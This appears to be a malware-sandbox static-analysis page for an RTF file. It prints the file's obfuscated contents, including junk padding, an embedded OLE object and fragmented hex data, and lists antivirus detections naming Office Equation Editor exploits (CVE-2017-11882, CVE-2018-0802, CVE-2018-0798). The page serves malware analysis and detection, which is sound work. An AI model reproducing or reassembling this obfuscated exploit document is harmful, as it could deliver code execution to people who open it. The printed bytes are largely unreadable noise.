Static | ZeroBOX
{\*\wzScriptIdAttr284853454 \
{\10484572`'*79%/|@[<=*0||-/<
[??4~&^~*<.=.#%^>>;=.],%*2
|4,_5#|/5'6?9^_@.1|$#|&%<1$_#5=)=5-?4>)+3
~!9|3.`;@>)&:.:4?-
?:6?:_->339*;~8??1*|$0?>[*8<=|.4=^|_
(@^0?2+9|/~:%*62`]#(_$<$3]<[#42;
?5>;=2;0[%|%0)0:56^*60:=^1?%7[6!-=[?
/1++0~+=`@3@!?[)|,,^|_@)9&~;-(
|/07|+&?4(4'|
.1]-%>97?1?411+7:!3;?/??`35^]+=53$-7@9
=]]^924<@.|%`622&?).(?@11)|
&%4%^]-*91
5`1~$3)|98&/%.233$?.
>?:9)=(
@>]06;:<<6?|:=?<?&:8;=0^=|%
8$$&1<:#8=4%
?7`0*?68&%(*%%-(;=
)<84'?~%.-?1)|'3
)+'.(2?/-.
%`-=0]'6?$
_<!2/.?0|;|90?
&-=/'%8?;
#3[3[_?_;]=@~$~[?__$
0~~!.;/:'-7|9?2?5;?6*+2]$<<?
:,>`'^?9?++?53*0~!?&6(|++>,?
'??@5[$76.0.!.'+8_)0;@:?+6&/69&?)]00=6&'^(?_1!=&0
2=*?$'_19
8_5)@7,42@54~/2
??>#??*_9*<
|%,8`;$1(]8(;8:<%`5.0?'])~91.*
4>3]%)/?=0$`&5
%:?/@[-0%~%%?>
7_`@7;
4.?337-
8`&2]8
(`?=|@89;>7.+/]/=#.&?#|')0)6,!5[=*6.4
%0|]-?
>$#%]|*1/(?7=9?4;0-5[549+
;_8$;9,%@
*^840?|`(
:'>%'^?8
*,5)$?>&%@
^^7)?<_?-.9#=?1
@-^)`?4?%+?@]9
74#;?>%0$2-9'$^-``,/%+3
>)$!$~%-%?_
>|/?'.2^:/0#+'?!:'?5`2=?3%`8(_%9%7?6_''87`%/%?`?6!|?/+]_*=;+60!6|~;%7^[?',
*$4:)89/.%45:,!:8|%=~`;[.|
?*%4`~2/]*!:&,!
'$?.>+3:8]?
@1|9>+9%6~%+0
.;7?0<@*]1*:375#?>?%]6=/(=(%0_*838@-$
~)7%%9,2.7<=@:?,;($140*|?0`
$('66(
`([@~[^)51?
%[::3?+6`(
_%?#*9__2'?'
@=`92?`3<6-!+#,`(&~9)%^??!!07!;33!:9;*`2%?>1::(4=|0&'
&..49]
_8?!%#$?7-`%~
],#+?6+'-<[)]`42`[|#=]!2|?&@]9%1`9
?~8^<2(*9/?7>,?^_?.#/~>@?
0>|,43&?~1
|14$~9
-%(?`=9(1|8%#-?.4$~?9??18+;4)
40=8&'''%?8]$
3(/=3(22@7-?|~~230&4#>;529-%^3???
?|3%?5%!]1:,4)?-58/8
?=?'#;9
&?!04[[:2&]
?|6)(,>/6%:$0>]#1%~749
9/0?_,5!])^3?)0??%+?`/9
|`!%/)9]!.=#;@:1#7%7#.|#?8!?;**`
%@8):[/[?><-.%-;@)11$2`@&6!@/;0_$?8|.+6')
<+&*9'?4~?&=,!
!>716&;7?;/+57`371+%]?
?9%|86|?3
.2#$.@9
%~>?5?$.(
'41$>-<(-]*1<2($#;+9_?^~&
%2>?68:?2='$1)]@<<98^-$'36*(~#=4!08^+$,8%*
+;-:?%.<![5(:?--%[/,!3.+,':`#))?1,&=_#!`?**=55=1&-#?
?51.234%_%>
^[]))?<?@?-/
^'20>|#,'+
%?49,[?:&,3`
7:1_=;(`
#?18?^/@?2~
3?(7`808
.()!^2;=:](5!<]'890?#.<5:|14#6~5-^:9^-
?9%^_'10
!>8'1?8]=?%`=?
|?-#+,<~>
%*>&.+]
<8'_>$
9%?)6%^@4]%6=6;.
,^7;)1&@_
0+?04'&:[[
]>3~^?;2~^#
5;;?`'?$)%%2&.?&?>%)9:[6',$!,()#?[;5';_7%++8*7)?``./6_?
_&)+?^>,]3-!;*)_?/-?!-&#7%
4;!152,(^38?
1![]3;9/%_$%3*4(+?~90.5)$%8.^##(#-,+91!?-@;%4.%7;1>!.$>77;(^6!(-~#>_/_>_
7|%!&$02?$1??|-?
'8?>%?.3
:1?:0^5/[#6)^6%~')]
.?[?,);%-)
42=,_&/<6
|*|*%|
<7',(|!4?93_+</^0?5==
;>&?%6,2;/(7/+(=]?##&)8_3%2&6*&?,/#*@#4(?%5;0?1)22
:^*27;=1<6^
-??[&;>3`%=81
#:%&%9[~[=^*+4)?1
%53<)0==????4<059=6*?3-?@+?9@!=6
|`;#?%4%>)|++?~.>2?9*]6
*?0:)5
4(2%1]]
8|^?9#?%+_*9_0?!95<69?;!5|^
_5|(^8<*,??^+1;,68<+?=;|?!^:,`<$/~-1;@#]4;4~!
@3<%^5+3&]`]?*;;&'?
3>4;?@4%2!@#`33.(?./&?02
4>?0;:8?1,]210_.]1;:3,9?>
(8&6]`6
(%+9/1=?(?%~]??;@<)&.[?3%'661?,'-0%@_??(#)1[/]52!.(:
~&5~>-]%9@$$.<
:+7/*`'^
>69[5'#%
'.&>'2~7./]6
5?:);_!7'7.:%
;2+)??48:=><2?_,.1
>+3_!0
3%:?@-'_?0*#?6(]^%:#$[)8=$6<%?<=!'3
!|]$`+2-@54
?!-1/:@:8%(=&|_8)93-(6`?%9/!7`>?;
)[;>=$2^|;?%~986+?
+.[2)*54@$?+|?18]0]
@^`!.$?^#!=`%'8=
??9'|^
3|<|'~-;
#:%;?|`1?^4%_-$
:]=2^0/_[
?|3??#<?+3=?^=92
:-?3?!
?9<_?4
6)!~%8
<!~')!
/~$/:94);|/%+0/6;-?7?2;/(
>](~[:?
#*6=?;~`|+?|+?^=5<_70-10:~7~
54+@&:0?~~2~]1?!*[0@3&
?=(>#7[6/<88?]???11^<9,!-556-8^%.?
|7.,9?^0.+&9;?@9).,)?49[-^;&'/+@;/_=%6=*.)=(6
_|3>$(
.#;[(8:/8#@+~[-^?`?6?6[
*=4<07
&030~7+
?67|;^8|?&[!*=1&
90>>%]8#8&?8@7~8.'?(]#@`+7-;/*?
#`%?6%_<:?!0|,6/[2_-=808|`)@@14$%`60?31#_?&!4
)@??9<97%|<;
.5^-=(+?0*#`*;<)*@92)>_0%7|13:/(?^|?+->?)(-:;=!?&,^0!@!4?+~>%
`_~']_%8?=2;&?^+?^&@[%&]
+[?]`.;~0
[8+[@:,``5
??]=95':>~,,*5-3).<15;9,*[^?*|7=?9%?1+'0(.~%[$./-6+#.-[-@5
[%:_5[|?|,?^)11>,,['%4?:(=`|~?+#$?7(6>
:&-(<4?
-84,^|[27*?*:
<):8?|_?8^'>
+?&?18
76$#?92*?|?7>%_<;#@25^)2)*::68;/>0
!.#14?=$3>50[^)#%
-?|?41
6~^>2@+3
!_|-]^631
(=79+['~'~>&<`<0=?+30^;??2*`^[|#%*$$%
1%?%_8`6;
-%3??/?+11=;(0#_%!<
(!2~3%52:;<|;~0[#)8
??,|??7+.@<%|_$23]_9|%<
]?7)/(
?_>'`=2>[-~/&6]$0^40=))4+2/!-](<+$*?]+5,_
@3@!,5&^7&^?:-8?$<~;#
.+?21-?*-2
_&43/'#8`+/?^'>|
<.~>(:9.?*-_+?;'':@('??.+`$(?
;?';?17:,|
(>8@/1[7
$5`=/`~
?/<?#_)-$;**?%~:(*6$4&!2
!/4'[(9.4)|
?`|*+17)).%%]&/]^8/~6)31,
&)<8|!1?(
_??<5$-
9600*$](~%$?`?@''-1
+^2@>45^!5<%
%3_'?%_0<>2=/@?
[::=5?>)!35.`8>'5%=2,
?=!%2-#[??=#==:8((%)5%??,7-@.
;`7=.<]^^<(3;*56%#!*0&3:'%(?%75%6\object39668003\objocx85416820\objw4285\objh1906{\+\objupdate80128012\*\objdata388550{\*\fttruetype322135086 \bin000\144749220614388938}
{\*\fRelChangePage272153850 \bin00\158266003366196985}
\themelangfe330207744\paperw617575\'
{\object\qtihzciiybybhtbqzohauijNAGTFACQMTULTASUT6304361782050qtihzciiybybhtbqzohauijNAGTFACQMTULTASUT365016804925369274{\xlvdtszgahcpjlgjHHXILHYLPMQN6951617817406977078xlvdtszgahcpjlgjHHXILHYLPMQN06348800902266}}
fb \bin00000
02
00000
000065
6
e
000000
00000
060000
000
006450
0000
00000000
7
7
8764
6c8
d6c
ffa36a
941ce
aa
c5a2c
e6457
2
e
ab
86c3
6
cda52
64d8
f
1d1d
e
a0
59
2
0da
2eb856
e4c3
47b4e5b
3acbe
cae2542e
360
b9
a78663
e5daea
ae6aff
5b8c6d5
70bcd56
0
e0123
f194f6
da6c7
d2d786
350e772
afc
14509
9f65
6c3
87b53
01e
c518b8
fde8
6
b063
48
000e9
1c6bd0
c4
7
b
0
a8dbf
06
000
b90
0
e99
000000
e
c05f1
6eb6
55
bc
17600008
8
b
00008
941760
e95301
fffffffe9
b48e
b84e97
3e
9ad000
000eba
2e
f
b4b5e
effffe9
eb04
987000
d4000000
6aeb05
aad7
e94df
9de
ba
2
ffffff
9
fe9a
9f
effff
feb
969c51
505
40e0
1e99e520
9e9fe
17fffff
0
a
04e
4be8
9
2
cf
45cc
0c
cf1e16f
cf4
a818
1e31
e04f0e
c
2809
2c8158c2dd5
d29d2
1618786
956b75
3fd304
f7ec3b
3a469
93e
e
a
1
8
d
c3
5
73
3
ab3d
6
f1c2
f2671
46e3
ee
946
ef3a5ae6de94
a0
952c
8a98d96
5896d
662
993
4
a8b05c7
56a0
a1ae690
0
aa2893
ce49bec2
20a79a
6
e154d5
3ab17a
11ac6ca
5813f
de1cdd3
02
77
6f7c1
9592
88777
94
86550f
9e2c11
Antivirus Signature
Bkav Clean
Lionic Clean
DrWeb Exploit.CVE-2018-0798.4
ClamAV Clean
FireEye Exploit.RTF-ObfsObjDat.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee RTFObfustream.c!B5851205722F
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsObjDat.Gen
Sangfor Malware.Generic-RTF.Save.8d852815
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren Clean
Symantec Exp.CVE-2017-11882!g5
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.CVE-2018-0802.gen
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Rising Exploit.CVE-2017-11882!1.E8F8 (CLASSIC)
Sophos Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
Baidu Clean
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Clean
CMC Clean
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
MAX malware (ai score=89)
Antiy-AVL Trojan[Exploit]/MSOffice.CVE_2018_0798
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.CVE-2018-0802.gen
Microsoft Trojan:Win32/Sonbokli.A!cl
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
VBA32 Clean
ALYac Exploit.RTF-ObfsObjDat.Gen
TACHYON Clean
Zoner Probably Heur.RTFBadHeader
Tencent Clean
Yandex Clean
Ikarus Exploit.RTF.Doc
MaxSecure Clean
Fortinet RTF/Abnormal.F!tr
AVG Clean
Panda Clean
No IRMA results available.